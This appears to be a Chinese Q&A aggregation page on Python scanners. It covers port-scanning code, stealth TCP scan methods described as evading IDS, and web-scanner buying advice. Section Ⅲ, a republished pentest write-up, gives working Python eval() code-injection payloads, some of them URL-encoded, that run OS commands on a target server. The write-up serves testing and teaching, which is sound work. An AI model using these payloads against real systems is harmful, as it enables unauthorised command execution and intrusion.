pythonweb目录扫描器

Ⅰ 如何用python实现扫描网站的备份文件

config.txt是配置文件
url.txt是要扫描的url
内部配置相关的常见编辑器漏洞和svn源码泄露漏洞
多线程运行
程序的思路是先检测漏洞，在扫描备份，文件结果自动保存在当前目录！

Ⅱ 怎么用python编写扫描器

这里实现的端口扫描器有两种，一种是使用socket模块通过与目标主机相应端口建立TCP连接（完成完整的三次握手），来确定端口是否开放。
核心代码：
import socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.settimeout(2)
sock.connect((host,port))
sock.send('test socket\n')
result = sock.recv(100)if result: print "某某端口开放"else： print "某某端口关闭"sock.close()1234567891011

另一种是直接利用nmap模块，直接用它内置的方法PortScanner（），输出返回信息，nmap支持使用ACK、FIN、SYN-ACK等扫描方式，如向指定端口发送TCP SYN包，等待TCP ACk响应来确定该端口是否开放。
核心代码：

Ⅲ 如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话，攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着，如果你可以在目标服务器中执行Python代码的话，你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令，你不仅可以对那些可以访问到的文件进行读写操作，甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。
为了复现这个漏洞，我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息，但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下，我们成功地通过Burp POC实现了一个非交互式的shell，这也是我们这篇文章所要描述的内容。
因为除了Python之外，还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题，因此Python代码注入属于服务器端代码注入的一种。实际上，如果各位同学和我一样是一名CWE的关注者，那么下面这两个CWE也许可以给你提供一些有价值的参考内容：
1. CWE-94：代码生成控制不当(‘代码注入’)2. CWE-95：动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞，而此时的漏洞利用Payload又如下所示：
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了：
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上，你甚至都不需要使用for循环，直接使用全局函数“__import__”就可以了。具体代码如下所示：
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁，既然我们已经将import和popen写在了一个表达式里面了，那么在大多数情况下，你甚至都不需要使用compile了。具体代码如下所示：
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用，你需要对其中的某些字符进行URL编码。为了节省大家的时间，我们在这里已经将上面所列出的Payload代码编码完成了，具体如下所示：
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来，我们将会给大家介绍关于这个漏洞的细节内容，并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾，我将会给大家演示一款工具，这款工具是我和我的同事Charlie共同编写的，它可以明显降低你在利用这个漏洞时所花的时间。简而言之，这款工具就像sqlmap一样，可以让你快速找到SQL注入漏洞，不过这款工具仍在起步阶段，感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示，我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话，你可以点击这里获取这份Web应用。接下来，我们要配置的就是Web应用的运行环境，即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行，或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示：
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时，几乎没有文章会提醒你这个函数是非常不安全的，而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况，说明你的Web应用中存在这个漏洞：
1. Web应用接受用户输入(例如GET/POST参数，cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查，或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码：
\
大家可以看到，eval()函数是上述代码中唯一一个存在问题的地方。除此之外，如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话，那么Web应用中也将会出现这个漏洞。
不过需要注意的是，除了eval()函数之外，Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示，现在很多开发人员都会在Web应用中不规范地使用exec()函数，所以这个问题肯定会存在。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击，我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后，我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是，不要过度依赖扫描工具，因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外，如果你在某个Web应用中发现了这个漏洞，那么你肯定使用了某款自动化的扫描工具，比如说Burp Suite Pro。目前为止，如果不使用类似Burp Suite Pro这样的专业扫描工具，你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后，启动并运行包含漏洞的示例应用。接下来，使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示：
\
下图显示的是Burp在扫描这个漏洞时所使用的Payload：
\
我们可以看到，Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的)，是因为当它将这个Payload发送给目标Web应用之后，服务器的Python解析器休眠了20秒，响应信息在20秒之后才成功返回。但我要提醒大家的是，这种基于时间的漏洞检查机制通常会存在一定的误报。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来，为了执行操作系统指令并接收相应的输出数据，我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了，应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理，因此Burp Suite Pro的Payload在这里使用了compile()函数，这是一种非常聪明的做法。当然了，我们也可以使用其他的方法来实现，例如使用全局函数“__import__”。关于这部分内容请查阅参考资料：[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景：
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句，那么你就需要使用eval()或者compile()函数了。实现代码如下所示：
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中，有时全局函数“__import__”会不起作用。在这种情况下，我们就要使用for循环了。相关代码如下所示：
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数，那么你就可以直接在浏览器中利用这个漏洞了：
\
请注意：虽然浏览器会帮你完成绝大部分的URL编码工作，但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外，你也可以直接使用我们所开发的工具。
如果是POST参数的话，我建议各位直接使用类似Burp Repeater这样的工具。如下图所示，我在subprocess.check_output()函数中一次性调用了多个系统命令，即pwd、ls、-al、whoami和ping。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码，我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到，它跟sqlmap一样使用起来非常的简单。除此之外，它的使用方法跟sqlmap基本相同。

Ⅳ python一直在扫描文件索引，怎么办

这个索引的目的是为了更新目录中的文件情况，便于平时快速定位，但有些目录中可能有太多文件并且我们不会用着，所以这时需要将某些文件太多的目录排除在索引之外，具体步骤如下：（IDE是pycharm）

1、选择file/settings

2、选择project structure，在右侧会出现你项目中的目录结构，选中某个目录，然后点击上方的excluded，该目录则会被添加到最右侧的列表中，只要出现在此列表中，则不会进行索引。

Ⅳ 想用python写个简易的目录扫描器，需要学些什么或者哪些方面的

pywin32很好用

Ⅵ 如何利用Python扫描服务器上的文件

大概思路是这样的：你得有服务器上的访问权限，可以在服务器上写一个tcp sever。
你的本地电脑写一个tcp client。客户端和服务端可以通信。
客户端发命令，服务端接收命令，扫描文件，返回数据到客户端。

Ⅶ python写的一个扫描器，运行nosetests没有反应

运行没有提示，说明语法没错，没有结束，说明应该在循环中，请检查代码是否陷入死循环。

Ⅷ Python 实现端口扫描

一、常见端口扫描的原理

0、秘密扫描

秘密扫描是一种不被审计工具所检测的扫描技术。

它通常用于在通过普通的防火墙或路由器的筛选（filtering）时隐藏自己。

秘密扫描能躲避IDS、防火墙、包过滤器和日志审计，从而获取目标端口的开放或关闭的信息。由于没有包含TCP 3次握手协议的任何部分，所以无法被记录下来，比半连接扫描更为隐蔽。

但是这种扫描的缺点是扫描结果的不可靠性会增加，而且扫描主机也需要自己构造IP包。现有的秘密扫描有TCP FIN扫描、TCP ACK扫描、NULL扫描、XMAS扫描和SYN/ACK扫描等。

1、Connect()扫描

此扫描试图与每一个TCP端口进行“三次握手”通信。如果能够成功建立接连，则证明端口开发，否则为关闭。准确度很高，但是最容易被防火墙和IDS检测到，并且在目标主机的日志中会记录大量的连接请求以及错误信息。

TCP connect端口扫描服务端与客户端建立连接成功（目标端口开放）的过程：

① Client端发送SYN；

② Server端返回SYN/ACK，表明端口开放；

③ Client端返回ACK，表明连接已建立；

④ Client端主动断开连接。

建立连接成功（目标端口开放）

TCP connect端口扫描服务端与客户端未建立连接成功（目标端口关闭）过程：

① Client端发送SYN；

② Server端返回RST/ACK，表明端口未开放。

优点：实现简单，对操作者的权限没有严格要求（有些类型的端口扫描需要操作者具有root权限），系统中的任何用户都有权力使用这个调用，而且如果想要得到从目标端口返回banners信息，也只能采用这一方法。

另一优点是扫描速度快。如果对每个目标端口以线性的方式，使用单独的connect()调用，可以通过同时打开多个套接字，从而加速扫描。

缺点：是会在目标主机的日志记录中留下痕迹，易被发现，并且数据包会被过滤掉。目标主机的logs文件会显示一连串的连接和连接出错的服务信息，并且能很快地使它关闭。

2、SYN扫描

扫描器向目标主机的一个端口发送请求连接的SYN包，扫描器在收到SYN/ACK后，不是发送的ACK应答而是发送RST包请求断开连接。这样，三次握手就没有完成，无法建立正常的TCP连接，因此，这次扫描就不会被记录到系统日志中。这种扫描技术一般不会在目标主机上留下扫描痕迹。但是，这种扫描需要有root权限。

·端口开放：（1）Client发送SYN；（2）Server端发送SYN/ACK；（3）Client发送RST断开（只需要前两步就可以判断端口开放）

·端口关闭：（1）Client发送SYN；（2）Server端回复RST（表示端口关闭）

优点：SYN扫描要比TCP Connect()扫描隐蔽一些，SYN仅仅需要发送初始的SYN数据包给目标主机，如果端口开放，则相应SYN-ACK数据包；如果关闭，则响应RST数据包；

3、NULL扫描

反向扫描—-原理是将一个没有设置任何标志位的数据包发送给TCP端口，在正常的通信中至少要设置一个标志位，根据FRC 793的要求，在端口关闭的情况下，若收到一个没有设置标志位的数据字段，那么主机应该舍弃这个分段，并发送一个RST数据包，否则不会响应发起扫描的客户端计算机。也就是说，如果TCP端口处于关闭则响应一个RST数据包，若处于开放则无相应。但是应该知道理由NULL扫描要求所有的主机都符合RFC 793规定，但是windows系统主机不遵从RFC 793标准，且只要收到没有设置任何标志位的数据包时，不管端口是处于开放还是关闭都响应一个RST数据包。但是基于Unix(*nix,如Linux)遵从RFC 793标准，所以可以用NULL扫描。 经过上面的分析，我们知道NULL可以辨别某台主机运行的操作系统是什么操作系统。

端口开放：Client发送Null，server没有响应

端口关闭：（1）Client发送NUll；（2）Server回复RST

说明：Null扫描和前面的TCP Connect（）和SYN的判断条件正好相反。在前两种扫描中，有响应数据包的表示端口开放，但在NUll扫描中，收到响应数据包表示端口关闭。反向扫描比前两种隐蔽性高些，当精确度也相对低一些。

用途：判断是否为Windows系统还是Linux。

4、FIN扫描

与NULL有点类似，只是FIN为指示TCP会话结束，在FIN扫描中一个设置了FIN位的数据包被发送后，若响应RST数据包，则表示端口关闭，没有响应则表示开放。此类扫描同样不能准确判断windows系统上端口开发情况。

·端口开放：发送FIN，没有响应

·端口关闭：（1）发送FIN；（2）回复RST

5、ACK扫描

扫描主机向目标主机发送ACK数据包。根据返回的RST数据包有两种方法可以得到端口的信息。方法一是： 若返回的RST数据包的TTL值小于或等于64，则端口开放，反之端口关闭。

6、Xmas-Tree扫描

通过发送带有下列标志位的tcp数据包。

·URG：指示数据时紧急数据，应立即处理。

·PSH：强制将数据压入缓冲区。

·FIN：在结束TCP会话时使用。

正常情况下，三个标志位不能被同时设置，但在此种扫描中可以用来判断哪些端口关闭还是开放，与上面的反向扫描情况相同，依然不能判断windows平台上的端口。

·端口开放：发送URG/PSH/FIN，没有响应

·端口关闭：（1）发送URG/PSH/FIN，没有响应；（2）响应RST

XMAS扫描原理和NULL扫描的类似，将TCP数据包中的ACK、FIN、RST、SYN、URG、PSH标志位置1后发送给目标主机。在目标端口开放的情况下，目标主机将不返回任何信息。

7、Dump扫描

也被称为Idle扫描或反向扫描，在扫描主机时应用了第三方僵尸计算机扫描。由僵尸主机向目标主机发送SYN包。目标主机端口开发时回应SYN|ACK，关闭时返回RST，僵尸主机对SYN|ACK回应RST，对RST不做回应。从僵尸主机上进行扫描时，进行的是一个从本地计算机到僵尸主机的、连续的ping操作。查看僵尸主机返回的Echo响应的ID字段，能确定目标主机上哪些端口是开放的还是关闭的。

二、Python 代码实现

1、利用Python的Socket包中的connect方法，直接对目标IP和端口进行连接并且尝试返回结果，而无需自己构建SYN包。

2、对IP端口进行多线程扫描，注意的是不同的电脑不同的CPU每次最多创建的线程是不一样的，如果创建过多可能会报错，需要根据自己电脑情况修改每次扫描的个数或者将seelp的时间加长都可以。

看完了吗？感觉动手操作一下把！

python学习网，免费的在线学习python平台，欢迎关注！

本文转自：https://www.jianshu.com/p/243bb7cfc40f

Ⅸ 比较好的web安全扫描工具有哪些

随着网站业务所承载内容的日益增多且重要性日益增强，网站本身的价值也越来越大，随之由网站漏洞带来的安全性问题也愈发严峻。新开通网站、新增专栏的准入质量评估，网站系统日常运行状况的检查预防和风险掌控，这些已成为各行业每年安全大检查中的关键要素。作为具体落实定期检查工作的安全人员，也急需选择一款优秀的网站扫描产品进行高效彻底的Web脆弱性评估检查，而如何选择一款真正实用的产品成为一个比较纠结的难题。
常见Web扫描方案的优劣势
目前常见的支持Web扫描解决方案的产品有很多，大家比较熟悉的有集成Web扫描模块的多合一系统扫描器，网上可免费下载的开源扫描器软件以及近几年刚崭露头角的独立Web扫描器产品等，都可以进行一定程度的Web安全扫描和漏洞发现。那么面对如此琳琅满目的选择时，大家如何细致区分辨识其差异，就需严格立足于实际需要，最终做出最佳的判断。
多合一的系统扫描器，通常会集主机扫描、配置核查、Web扫描及弱口令扫描于一身，是一款强大全面的多功能产品。但多合一的高度封装导致其在进行安全扫描时，除不能分配全部计算资源在Web扫描方面，扫描引擎自身还要兼顾到全方位的权衡与调优。反观目标Web应用呈现的种类多样性、规模庞大性和运行特殊性，在面对动辄上万、十万甚至百万级别网页数量的网站时，这种多合一产品就表现得差强人意，使用起来有种牛拉火车的感觉;同时，高效执行扫描评估就必须具备高并发的网页链接爬虫识别和Web插件交互逻辑判断能力，这一现实的冲突导致多合一扫描器在Web扫描及性能体验方面效果平平，优势不突出。
网上开源的Web扫描器软件，尽管完全免费并可以发现一些基本的漏洞信息，但其在第一时间发现新爆Web漏洞和漏洞趋势跟踪分析、修补方面，完全不具备后期支撑能力。而且在人性化设计及低学习门槛方面也存在太多先天的不足，其性能与稳定性更是与商业软件相差甚远。
面对综上同类产品，困惑于Web扫描场景需求种种局限的我们，很欣喜地看到了近几年声名鹊起的Web扫描器产品。它作为一款自动化评估类工具，依据制定的策略对Web应用系统进行URL深度发现并全面扫描，寻找出Web应用真实存在的安全漏洞，如跨站点脚本、SQL注入，命令执行、目录遍历和不安全的服务器配置。Web扫描器产品可以通过主动生成统计分析报告来帮助我们正确了解Web应用漏洞的详细分布、数量和风险优先级，并对发现的安全漏洞提出相应有力的改进意见供后续修补参考，是帮助我们高效彻底地进行Web脆弱性评估检查的坚实利器。
Web扫描器的三个误区
针对现有市面上诸多品牌的Web扫描器，大家在评价它们孰优孰劣时时常过于片面极端，主要表现为三个认识误区。
误区1：多就是好!
认为漏洞库条目多，检查出来的漏洞多就是好。Web扫描器面对庞大繁多、千差万别的应用系统，为提升检测性能，多采用高效率的Web通用插件，以一扫多，其不再局限于某个专门应用系统，深层次聚合归并，尽可能多地发现多种应用系统的同类漏洞。同时，对于扫描出来的非误报漏洞，若同属某一页面不同参数所致的相同漏洞，归纳整理，让最终呈现的漏洞报表简约而不简单，避免数量冗余、杂乱无章。故若以毫无插件归并能力，仅靠大量专门Web系统插件、罗列各类漏洞列表数量多来博取赞许的Web扫描器，其本质存在太多的不专业性。
误区2：快就是好!
认为扫描速度快耗时短的就是好。网站规模日趋复杂，日常检查时我们期待Web扫描器能有更高效率地完成扫描任务，这点无可厚非，但检查的本质是要最大限度地提前发现足够多的漏洞，并第一时间制定后续相应的修补计划。故在面对同一目标站点时，Web扫描器若能在单位时间内检测出来的有效存在漏洞数越多，这个快才是真的好。
误区3：小就是好!
认为扫描过程中对目标业务影响小就是好!这句话本身也没有问题，只要Web扫描器在执行扫描过程中，对目标系统负载响应和网络链路带宽占用，影响足够小，也就是我们常说的“无损扫描”，它就具备了一款优秀Web扫描器应有的先决条件。但是，这必须是在能最大限度发现Web漏洞的前提下才能考虑的关键因素，脱离这个产品本质，就本末倒置了。
五个基本评优标准
那么，评优一款Web扫描器，我们该从何处着手?具体的判断标准有哪些呢?
全——识别种类繁多的Web应用，集成最全的Web通用插件，通过全面识别网站结构和内容，逐一判断每一种漏洞可能性，换句话说，漏洞扫描的检测率一定要高，漏报率务必低，最终才能输出全面详尽的扫描报告。这就要求其在Web应用识别方面，支持各类Web语言类型(php、asp、.net、html)、应用系统类型(门户网站、电子政务、论坛、博客、网上银行)、应用程序类型(IIS、Apache、Tomcat)、第三方组件类型(Struts2、WebLogic、WordPress)等;插件集成方面，支持国际标准漏洞分类OWASP TOP 10和WASC插件分类模板，允许自定义扫描插件模板，第一时间插件更新速度等。
准——较高的漏洞准确性是Web扫描器权威的象征，可视化分析可助用户准确定位漏洞、分析漏洞。而误报是扫描类产品不能回避的话题。Web扫描器通过通用插件与目标站点任一URL页面进行逻辑交互，通过可视化的漏洞跟踪技术，精准判断和定位漏洞，并提供易读易懂的详细整改分析报告。除此之外，一款好的Web扫描器还要更具人性化，在漏洞发现后，允许扫描者进行手工、自动的漏洞批量验证，进而双重保障较高的准确性结果。
快——快速的扫描速度，才能在面对越来越大的网站规模，越发频繁的网站检查时游刃有余，进度保障。一款快速的Web扫描器除了有强劲马力的扫描引擎，高达百万/天的扫描速度，还要具备弹性灵活的集群扫描能力，任意增添扫描节点，轻松应对可能苛刻的扫描周期时间要求。
稳——稳定可靠的运行过程，对目标环境近乎零影响的Web扫描器，才能在诸行业大面积投入使用，特别是一些对业务影响要求苛刻的行业会更受青睐，毕竟没有人能够接受一款评估类产品，会对目标造成额外的损伤。市面上现在已有一些Web扫描器产品，其通过周期探寻目标系统，网络链路，自身性能负载等机制，依据目标环境的负载动态变化而自动调节扫描参数，从而保障扫描过程的足够稳定和几乎零影响。此外，随着网站规模，检查范围的不断扩大，保证持续稳定的扫描执行和统计评估，尽量避免扫描进度的半途而废，也提出了较高的可靠性运行要求。
易——人性化的界面配置，低成本的报表学习和强指导性修补建议。尤其是漏洞分布详情和场景重现方面，市面上大多数Web扫描器的报表都需要专业安全人员的二次解读后，普通的安全运维检查人员才能看懂，才知道长达百页报表给出的重要建议和下一步的具体修补措施，这无疑给使用者造成了较高的技术门槛，那么如何解决此易读、易用问题，就成为评定其优劣与否的一个重要指标。
总之，一款优秀的Web扫描器产品，它需要严格恪守五字核心方针，全、准、快、稳、易，做到全方位均衡，这样才能做到基本优秀。同时，随着网站检查诉求的日益多元化，它若能附带一些差异化特性，满足大家不同场景的网站安全运维扫描要求，如网站基本信息搜集，漏洞全过程时间轴跟踪，逐步可视化的漏洞验证和场景重现，自动修补直通车等，定会大大增加该款扫描器的评优力度。

Ⅹ web目录和文件扫描行为会大量触发那个状态码

使用Dirsearch探测Web站目录 运行环境:必须安装python3 dirsearch是一个基于python的命令行工具